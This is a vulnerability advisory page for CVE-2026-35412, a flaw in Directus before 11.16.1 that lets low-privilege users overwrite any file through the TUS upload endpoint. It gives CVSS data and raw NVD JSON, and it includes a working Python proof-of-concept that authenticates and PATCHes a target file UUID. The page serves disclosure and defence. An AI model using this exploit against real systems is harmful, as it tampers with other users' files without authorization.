Security Vulnerability Report
中文
CVE-2026-35412 CVSS 7.1 HIGH

CVE-2026-35412

Published: 2026-04-06 22:16:22
Last Modified: 2026-04-20 16:40:33

Description

Directus is a real-time API and App dashboard for managing SQL database content. Prior to 11.16.1, Directus' TUS resumable upload endpoint (/files/tus) allows any authenticated user with basic file upload permissions to overwrite arbitrary existing files by UUID. The TUS controller performs only collection-level authorization checks, verifying the user has some permission on directus_files, but never validates item-level access to the specific file being replaced. As a result, row-level permission rules (e.g., "users can only update their own files") are completely bypassed via the TUS path while being correctly enforced on the standard REST upload path. This vulnerability is fixed in 11.16.1.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:monospace:directus:*:*:*:*:*:node.js:*:* - VULNERABLE
Directus < 11.16.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration TARGET_URL = "http://localhost:8080" LOGIN_URL = f"{TARGET_URL}/auth/login" TUS_URL = f"{TARGET_URL}/files/tus" # User credentials (Low privilege user with upload permission) USERNAME = "[email protected]" PASSWORD = "password" # The UUID of the file we want to overwrite TARGET_FILE_UUID = "00000000-0000-0000-0000-000000000001" # 1. Authenticate to get a token session = requests.Session() auth_payload = {"email": USERNAME, "password": PASSWORD} auth_response = session.post(LOGIN_URL, json=auth_payload) if auth_response.status_code != 200: print("Authentication failed") exit(1) access_token = auth_response.json().get('data', {}).get('access_token') print(f"Access Token: {access_token}") # 2. Prepare TUS upload headers to overwrite file # The vulnerability allows overwriting any file UUID without item-level permission check headers = { "Authorization": f"Bearer {access_token}", "Upload-Offset": "0", "Content-Type": "application/offset+octet-stream", "Tus-Resumable": "1.0.0" } # Malicious content to write malicious_content = b"This file has been overwritten by an attacker." # 3. Send PATCH request to the specific UUID exploit_url = f"{TUS_URL}/{TARGET_FILE_UUID}" response = requests.patch(exploit_url, headers=headers, data=malicious_content) if response.status_code in [200, 201, 204]: print(f"[+] Success! File {TARGET_FILE_UUID} has been overwritten.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35412", "sourceIdentifier": "[email protected]", "published": "2026-04-06T22:16:22.397", "lastModified": "2026-04-20T16:40:33.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Directus is a real-time API and App dashboard for managing SQL database content. Prior to 11.16.1, Directus' TUS resumable upload endpoint (/files/tus) allows any authenticated user with basic file upload permissions to overwrite arbitrary existing files by UUID. The TUS controller performs only collection-level authorization checks, verifying the user has some permission on directus_files, but never validates item-level access to the specific file being replaced. As a result, row-level permission rules (e.g., \"users can only update their own files\") are completely bypassed via the TUS path while being correctly enforced on the standard REST upload path. This vulnerability is fixed in 11.16.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:monospace:directus:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "11.16.1", "matchCriteriaId": "E86A8769-F082-4253-9D48-B6B484CA61FF"}]}]}], "references": [{"url": "https://github.com/directus/directus/security/advisories/GHSA-qqmv-5p3g-px89", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}